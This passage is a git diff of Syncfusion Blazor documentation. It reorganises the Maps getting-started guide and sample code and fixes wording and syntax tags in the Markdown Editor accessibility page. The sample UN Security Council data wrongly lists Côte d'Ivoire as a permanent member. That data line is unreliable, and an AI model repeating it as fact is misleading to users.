-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
         </MapsLayer>
     </MapsLayers>
 </SfMaps>
 
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLzNsKtiFmBLBLC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Legend](./images/blazor-map-legend.png)" %}
-
-## Enable tooltip
-
-The tooltip can be used when you cannot display information using the data labels due to space constraints. You can enable tooltip by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTooltipSettings.html#Syncfusion_Blazor_Maps_MapsTooltipSettings_Visible) property to **true** in [MapsLayerTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayerTooltipSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@code {
+    public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "France", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
+    };
 
-<SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-            @* To add tooltip for the shape *@
-            <MapsLayerTooltipSettings Visible='true' ValuePath="Name"></MapsLayerTooltipSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
+    public class UNCouncilCountry
+    {
+        public string Name { get; set; }
+        public string Membership { get; set; }
+    };
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
+This example demonstrates the complete setup with:
+- The **ShapeData** pointing to the GeoJSON world map
+- The **ShapePropertyPath** set to `"name"` to match shape names
+- The **DataSource** bound to `SecurityCouncilDetails`
+- The **ShapeDataPath** set to `"Name"` to match data source field
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBfXWgjCPFtJBKY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Tooltip](./images/blazor-map-tooltip.png)" %}
+N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Maps).
 
@@ -427,4 +284,4 @@ N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side application in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side application in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
\ No newline at end of file
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side application in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
diff --git a/blazor/maps/getting-started.md b/blazor/maps/getting-started.md
index 2e6348b3e0..c56ab4e0a3 100644
--- a/blazor/maps/getting-started.md
+++ b/blazor/maps/getting-started.md
@@ -3,13 +3,13 @@ layout: post
 title: Getting Started with Blazor Maps Component | Syncfusion
 description: Checkout and learn about getting started with Blazor Maps component in Blazor WebAssembly Application.
 platform: Blazor
-control: Maps
+component: Maps
 documentation: ug
 ---
 
 # Getting Started with Blazor Maps Component
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps](https://www.syncfusion.com/blazor-components/blazor-map) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps](https://www.syncfusion.com/blazor-components/blazor-map) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -83,7 +83,7 @@ cd BlazorApp
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor package
 
-Install [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Maps --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following command in the Package Manager Console to achieve the same.
 
@@ -101,6 +101,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Maps` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -112,7 +114,7 @@ After the package is installed, open the **~/_Imports.razor** file and import th
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -128,7 +130,7 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file (this is the main HTML entry point of your WebAssembly application).
 
 ```html
 
@@ -138,32 +140,18 @@ The script can be accessed from NuGet through [Static Web Assets](https://blazor
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the **~/Pages/Index.razor** file.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfMaps>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-The Maps will not show any content on the web page while running the application because the properties related to the layer are not initialized in the above code.
-
-## Adding GeoJSON data in Blazor Maps layer
-
-Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. For example, you can render the World map and make desired customizations on it. You can also add any number of layers in the Maps.
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component with GeoJSON data
 
-You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the **~/Pages/Home.razor** file. Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfMaps is the root container component for the maps -->
 <SfMaps>
+    <!-- MapsLayers contains one or more map layers to display on the map -->
     <MapsLayers>
+        <!-- MapsLayer defines a map layer with shape data and configuration -->
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}' TValue="string">
         </MapsLayer>
     </MapsLayers>
@@ -181,25 +169,25 @@ N> The "world-map.json" file contains the World map GeoJSON data.
 The [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_DataSource) property is used to represent statistical data in the Maps component. We can define a list of objects as a data source to the Maps component. This data source will be further used to color the map, display data labels, display tooltips, and more. Assign the below list **SecurityCouncilDetails** to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_DataSource) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html).
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @code {
     public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
-         new UNCouncilCountry { Name= "China", Membership= "Permanent"},
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
          new UNCouncilCountry { Name= "France", Membership= "Permanent" },
-         new UNCouncilCountry { Name= "Russia", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "United States", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent"}
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
     };
 
     public class UNCouncilCountry
@@ -219,7 +207,7 @@ You should also specify the field names in the shape data and data source to the
 N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
 <SfMaps>
     <MapsLayers>
@@ -237,170 +225,59 @@ N> Please [refer to the section](populate-data#data-binding) for more informatio
 
 N> For example, consider field names specified in [ShapePropertyPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapePropertyPath) and [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) have the same value: **"United States"**. So corresponding color, data label and tooltip related settings will be applied to the **United States** shape.
 
-## Apply color mapping
-
-The color mapping supports customization of shape colors based on the underlying value of shape received from the bound data source. The values from the field name specified in the [ShapeDataPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeDataPath) property will be compared for the shapes with the values in the field name specified in the [ColorValuePath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html#Syncfusion_Blazor_Maps_MapsShapeSettings_ColorValuePath) property in [MapsShapeSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeSettings.html). Also, specify color and value in [MapsShapeColorMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsShapeColorMapping.html). Here, in this example, **"#EDB46F"** is specified for **"Permanent"** and **"#F1931B"** is specified for **"Non-Permanent"**.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* Color mapping related configuration *@
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BthTXCgjWGYITQsB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Color Mapping](./images/blazor-map-color-mapping.png)" %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-## Adding data labels
-
-Label provides information to users about the shapes, and you can enable label text to the shapes in the Maps component by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_Visible) property as **true** and field name from data source in the [LabelPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html#Syncfusion_Blazor_Maps_MapsDataLabelSettings_LabelPath) property in [MapsDataLabelSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsDataLabelSettings.html).
+The following complete example shows a Maps component with the GeoJSON layer and data source binding:
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfMaps>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            @* To add data labels *@
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNLJDiKjMPitIelx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Label](./images/blazor-map-label.png)" %}
-
-## Adding title for Blazor Maps
-
-Title can be added to the Maps to provide quick information to the users about the shapes rendered in the component. You can add a title using [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html#Syncfusion_Blazor_Maps_MapsTitleSettings_Text) property in [MapsTitleSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTitleSettings.html).
+{% highlight razor tabtitle="Home.razor" %}
 
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfMaps>
-    @* To add title *@
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthftCKZWbsaohgF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Title](./images/blazor-map-title.png)" %}
-
-## Enable legend
-
-The legend items are used to denote color mapping categories, and you can show legend for the Maps by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html#Syncfusion_Blazor_Maps_MapsLegendSettings_Visible) property to **true** in [MapsLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLegendSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+@using Syncfusion.Blazor.Maps
 
 <SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    @* To add legend *@
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
     <MapsLayers>
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
                    ShapePropertyPath='new string[] {"name"}'
                    DataSource="SecurityCouncilDetails"
                    ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
         </MapsLayer>
     </MapsLayers>
 </SfMaps>
 
-{% endhighlight %}
-{% endtabs %}
-
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLzNsKtiFmBLBLC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Legend](./images/blazor-map-legend.png)" %}
-
-## Enable tooltip
-
-The tooltip can be used when you cannot display information using the data labels due to space constraints. You can enable tooltip by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsTooltipSettings.html#Syncfusion_Blazor_Maps_MapsTooltipSettings_Visible) property to **true** in [MapsLayerTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayerTooltipSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+@code {
+    public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "France", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent" }
+    };
 
-<SfMaps>
-    <MapsTitleSettings Text="Members of the UN Security Council"></MapsTitleSettings>
-    <MapsLegendSettings Visible="true"></MapsLegendSettings>
-    <MapsLayers>
-        <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}'
-                   ShapePropertyPath='new string[] {"name"}'
-                   DataSource="SecurityCouncilDetails"
-                   ShapeDataPath="Name" TValue="UNCouncilCountry">
-            <MapsDataLabelSettings Visible="true" LabelPath="Name" IntersectionAction="IntersectAction.Hide"></MapsDataLabelSettings>
-            <MapsShapeSettings Fill="#E5E5E5" ColorValuePath="Membership">
-                <MapsShapeColorMappings>
-                    <MapsShapeColorMapping Value="Permanent" Color='new string[] {"#EDB46F"}'></MapsShapeColorMapping>
-                    <MapsShapeColorMapping Value="Non-Permanent" Color='new string[] {"#F1931B"}'></MapsShapeColorMapping>
-                </MapsShapeColorMappings>
-            </MapsShapeSettings>
-            @* To add tooltip for the shape *@
-            <MapsLayerTooltipSettings Visible='true' ValuePath="Name"></MapsLayerTooltipSettings>
-        </MapsLayer>
-    </MapsLayers>
-</SfMaps>
+    public class UNCouncilCountry
+    {
+        public string Name { get; set; }
+        public string Membership { get; set; }
+    };
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Refer [code block](#bind-data-source) to know the property value of **SecurityCouncilDetails**.
+This example demonstrates the complete setup with:
+- The **ShapeData** pointing to the GeoJSON world map
+- The **ShapePropertyPath** set to `"name"` to match shape names
+- The **DataSource** bound to `SecurityCouncilDetails`
+- The **ShapeDataPath** set to `"Name"` to match data source field
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBfXWgjCPFtJBKY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with Tooltip](./images/blazor-map-tooltip.png)" %}
+N> Please [refer to the section](populate-data#data-binding) for more information on data binding.
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Maps).
 
diff --git a/blazor/markdown-editor/accessibility.md b/blazor/markdown-editor/accessibility.md
index 9aeead9b54..6550d9816c 100644
--- a/blazor/markdown-editor/accessibility.md
+++ b/blazor/markdown-editor/accessibility.md
@@ -47,7 +47,7 @@ The toolbar in the Blazor Markdown Editor is assigned the role of `toolbar` and
 | --- | --- |
 | `role="toolbar"` | Describes the actual role of the toolbar element. |
 | `aria-orientation` | Indicates the toolbar orientation. Default is `horizontal`. |
-| `aria-haspopup` | Indicates whether the toolbar has a popup. Default is `false`. Set to `true` wwhen popup mode is enabled. |
+| `aria-haspopup` | Indicates whether the toolbar has a popup. Default is `false`. Set to `true` when popup mode is enabled. |
 | `aria-disabled` | Indicates the disabled state of the toolbar. |
 | `aria-owns` | Identifies an element to define a visual, functional, or contextual parent/child relationship between DOM elements when the DOM hierarchy cannot represent the relationship. In the Markdown Editor, the attribute contains the ID of the Markdown Editor to indicate the popup as a child element. |
 
@@ -61,7 +61,7 @@ The Blazor Markdown Editor element is assigned the role of `application`:
 | `aria-disabled` | Indicates the disabled state of the toolbar. |
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor %}
 
 {% include_relative code-snippet/markdown-aria-attribute.razor %}
 
@@ -89,7 +89,7 @@ Customize the key configuration for the keyboard interaction of the Markdown Edi
 In the following code block, customize the bold and italic, toolbar actions with **ctrl+1**, **ctrl+2** respectively.
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor %}
 
 {% include_relative code-snippet/markdown-custom-key-config.razor%}
 
diff --git a/blazor/markdown-editor/code-snippet/markdown-aria-attribute.razor b/blazor/markdown-editor/code-snippet/markdown-aria-attribute.razor
index 711a832188..38f6d53da0 100644
--- a/blazor/markdown-editor/code-snippet/markdown-aria-attribute.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-aria-attribute.razor
@@ -1,12 +1,8 @@
 @using Syncfusion.Blazor.RichTextEditor
 
-<SfRichTextEditor ShowCharCount="true" Value="@MarkdownValue" EditorMode="EditorMode.Markdown">
-
-</SfRichTextEditor>
+<SfRichTextEditor ShowCharCount="true" Value="@MarkdownValue" EditorMode="EditorMode.Markdown"></SfRichTextEditor>
 
 @code{
 
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 }
\ No newline at end of file
diff --git a/blazor/markdown-editor/code-snippet/markdown-custom-formats.razor b/blazor/markdown-editor/code-snippet/markdown-custom-formats.razor
index 2088f68e32..757d237f60 100644
--- a/blazor/markdown-editor/code-snippet/markdown-custom-formats.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-custom-formats.razor
@@ -4,22 +4,23 @@
